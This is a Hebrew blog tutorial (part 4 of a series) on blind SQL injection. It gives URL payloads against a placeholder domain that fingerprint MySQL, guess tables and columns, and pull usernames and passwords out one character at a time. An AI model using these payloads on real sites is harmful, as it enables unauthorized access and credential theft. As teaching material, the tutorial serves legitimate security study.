מדריך: הזרקת SQL עיוורת (חלק 4)

הזרקה עיוורת

בשביל לבדוק אם אפשר לעשות הזרקה עיוורת, מה שנעשה זה נכניס לשורת הכתובת נתון לא נכון, ונראה אם חלק מהאתר נעלם (טקסט, תמונות וכו').

לדוגמא, לאתר בכתובת הזו –

http://www.domain.com/?id=2

נכניס את הכתובת הזו –

http://www.domain.com/?id=2 and 1=2

כשברור שהחלק השני הוא שקר – לכן השאילתה לא אמורה להתבצע, וחלק מהאתר צריך להעלם. אם חלק מהאתר נעלם, סימן שאפשר לעשות הזרקה עיוורת על האתר.

1. גרסאת MySQL –

נברר מה גרסאת הSQL בצורה עיוורת – נכניס שאילתה ששואלת אם זה MySQL 4. אם שום חלק לא נעלם, זה נכון. אם לא, נחליף את השאילתה באחת ששואלת אם זה MySQL 5 – ואז נדע איזה מהגרסאות מותקנת על השרת.

שאילתות לבירור אם הגרסא היא 4 ו5 –

http://www.domain.com/?id=2 and substring(@@version,1,1)=4

http://www.domain.com/?id=2 and substring(@@version,1,1)=5

2. אחרי שאנחנו יודעים את הגרסא, נמשיך עם

http://www.domain.com/?id=2 and (select 1)=1

העמוד צריך להיטען כמו שצריך.

עכשיו צריך לבדוק אם יש לנו גישה לMySQL.user

http://www.domain.com/?id=2 and (select 1 from mysql.user limit 0,1)=1

אם יש לנו גישה זה אומר שאנחנו נוכל לשלוף סיסמאות אח"כ בעזרת הפונקציות ()loadfile וOUTFILE.

3. לגלות את שם הטבלאות והטורים

עכשיו צריך לנחש.

http://www.domain.com/?id=2 and (select 1 from users limit 0,1)=1

אם הדף נטען בלי שחסר תוכן (כמו שצריך), אז זה אומר שהטבלה users קיימת. אם לא, צריך לנחש שוב…

http://www.domain.com/?id=2 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

אם הדף נטען כמו שצריך, זה אומר שהטור password קיים. אם לא, צריך לנחש שוב…

ועכשיו לחלק הקשה והמעצבן, אנחנו הולכים לעבור אות אות על השם משתמש והססמא ולנסות לנחש את הערך האסקי שלהם, על ידי שימוש בשורה:

http://www.domain.com/?id=2 and ascii(substring((select concat(username,0x3a,password) from users limit 0,1),1,1))>80

השורה הזו תשלוף את האות הראשונה של המשתמש הראשון בטבלת המשתמשים. הפונקציה אסקי תהפוך את זה לאות, ואז תושווה האות ל80 – אם ערך האסקי שלה גדול או קטן מ80. אם זה נכון, והערך גדול מ-80, הדף ייטען כמו שצריך. אם לא, משהו יהיה בו חסר. אז נמשיך ונגדיל את 80 עד שנגיע לדף חסר. נברר איזה תו הוא בטבלת הascii, ונעבור לאות הבאה על ידי שינוי "1" המודגש בשורה. כך עד שנגיע לאות שיותר קטנה מ-0, ולכן כל מה שנכניס אליה יהיה FALSE ויציג דף חסר – וזה יסמל את הסוף.

ישנם כמה כלים להזרקות עיוורות. sqlmap ככל הנראה הכי מומלץ, למרות שאני מעדיף לעשות הכל באופן ידני.

» מדריך זה הוא חלק ממדריך אחד גדול בעל חמישה חלקים «

תגובה אחת ל “מדריך: הזרקת SQL עיוורת (חלק 4)”

  1. פוסט זה הוא חלק ממדריך בן חמישה חלקים.
    לחלק הראשון | לחלק השני |לחלק השלישי | לחלק הרביעי – הזרקה עיוורת | לחלק החמישי – התגוננות

הוסף תגובה